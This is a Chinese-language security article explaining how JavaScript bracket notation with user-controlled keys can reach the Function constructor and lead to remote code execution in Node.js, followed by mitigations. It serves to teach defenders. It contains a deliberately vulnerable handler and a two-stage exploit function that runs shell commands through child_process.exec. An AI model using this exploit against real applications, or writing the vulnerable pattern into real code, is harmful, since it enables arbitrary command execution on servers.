JavaScript方括号表示法的危险性

今天,我们来聊聊JavaScript的方括号表示法中的一些独特且可能危险的用法:哪些地方不该用这种对象访问方式,以及如何在必要时安全地使用它。

JavaScript中的方括号表示法为根据变量的内容动态访问特定属性或方法提供了非常方便的方式。这个功能的最终效果与Ruby的批量赋值非常相似:给定一个对象,你可以动态地分配和检索该对象的属性,而无需指定这些属性是否应该是可访问的。

注意:这些例子看起来简单且显而易见——稍后我们会详细探讨。现在,请暂时忽略这些例子的实用性,专注于它们揭示的危险模式。

为什么这可能是个问题

问题一:使用用户输入的方括号对象表示法使对象上的每个属性都可访问

exampleClass[userInput[0]] = userInput[1];

这个问题很常见且广为人知。如果exampleClass包含敏感属性,上述代码将允许这些属性被编辑。举例来说,如果用户输入了错误或恶意的数据,可能会篡改或暴露对象中的敏感信息。

问题二:使用用户输入的方括号对象表示法使对象上的每个属性都可访问,包括原型链上的属性

userInput = ['constructor', '{}'];
exampleClass[userInput[0]] = userInput[1];

这个看似无害的模式实际上存在重大隐患。通过访问或重写像constructor__defineGetter__这样的原型属性,我们可能会无意中破坏对象的正常行为。最可能的结果是应用程序崩溃,例如在尝试将字符串作为函数调用时。

问题三:使用用户输入的方括号对象表示法使对象上的每个属性都可访问,包括原型链上的属性,可能导致远程代码执行

这是最危险的情况,也是最难以预测的情景。请看下面的例子:

var user = function () {
    this.name = 'jon';
    // 一个空的用户构造函数。
};

function handler(userInput) {
    var anyVal = 'anyVal'; // 这可以是任何属性,并且不需要是用户控制的。
    user[anyVal] = user[userInput[0]](userInput[1]);
}

在前面的部分中提到,可以通过方括号访问到constructor。在这个例子中,因为我们处理的是一个函数,所以我们得到的是函数构造器,它会将一段代码字符串编译成一个函数。这意味着,如果用户输入恶意代码,这段代码将被执行,可能导致远程代码执行(RCE)漏洞。

利用漏洞

为了利用上述代码,我们需要一个两阶段的利用函数。

function exploit(cmd) {
  var userInputStageOne = ['constructor', 'require("child_process").exec(arguments[0],console.log)'];
  var userInputStageTwo = ['anyVal', cmd];

  handler(userInputStageOne);
  handler(userInputStageTwo);
}

让我们来分解一下这个过程。

第一次运行handler时,看起来像这样:

userInput[0] = 'constructor';
userInput[1] = 'require("child_process").exec(arguments[0],console.log)';

user['anyVal'] = user['constructor'](userInput[1]);

执行这段代码会创建一个包含payload的函数,并将其分配给user['anyVal']

user['anyVal'] = function () {
  require('child_process').exec(arguments[0], console.log);
};

第二次运行handler时:

user.anyVal = user.anyVal('date');

最终结果是:

// 执行远程代码

远程代码执行

这里最大的风险在于代码中几乎没有迹象表明会发生这种情况。通常,涉及到严重问题的方法调用都会非常明确——如evalchild_process等。而在Node.js中,很难无意中引入这些调用。然而,在这种情况下,如果没有深入了解JavaScript的内置功能或进行过相关研究,很容易无意中引入这个问题。

这种情况是否很罕见?

这个特定的漏洞向量并不是一个广泛存在的问题,因为当前的JavaScript风格指南并不提倡这样编程。但它可能在未来成为一个广泛存在的问题。这个模式被避免是因为它不常见,因此不会被习惯性地学习和采用,而不是因为它是已知的不安全模式。

是的,我们讨论的是一些极端的边缘情况,但不要因此就认为你的代码没有问题——我在生产代码中见过这种问题。对于大多数Node开发者来说,大部分应用代码并不是他们自己写的,而是通过require模块引入的,这些模块可能包含像这样的奇怪漏洞。

边缘情况虽然不常见,但由于不常见,其问题也不为人知,常常在代码审查中被忽视。如果代码能够运行,这类问题往往会被忽略。如果代码能够运行,而问题又埋在嵌套的模块中,那么直到问题出现之前,很可能不会被发现,到那时已经太晚了。盲目地引入模块本质上是在应用程序中运行不受信任的代码。要了解你引入的代码。

如何修复?

最直接的修复方法是避免在属性名字段中使用用户输入。然而,这并不总是合理的,有时需要使用核心语言特性。

另一种选择是创建一个允许的属性名称白名单,并通过一个辅助函数检查每个用户输入,只有通过检查的才能被使用。在明确知道允许的属性名称的情况下,这是一个很好的选择。

在没有严格定义的数据模型的情况下(虽然这并不理想,但在某些情况下是必须的),可以使用上述方法,但使用一个拒绝列表来禁止特定的属性。

如果你使用--harmony标志或io.js,还可以使用ECMAScript 6的直接代理,它们可以在真实对象(私有API)前面作为一层保护,并暴露对象的有限子集(公共API)。如果你使用这种模式,这是最好的方法,因为它与典型的面向对象编程范式最一致。